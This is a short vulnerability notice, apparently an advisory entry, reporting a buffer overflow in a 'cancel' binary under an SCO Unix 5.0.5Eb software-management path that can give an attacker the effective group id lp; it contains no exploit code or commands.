There is a buffer overflow vulnerability in /opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel. It is important to know that the overflows are not in "/usr/bin/cancel" or "/usr/lpd/remote/cancel". The consequence of this vulnerability being exploited is compromise of effective groupid of group lp.
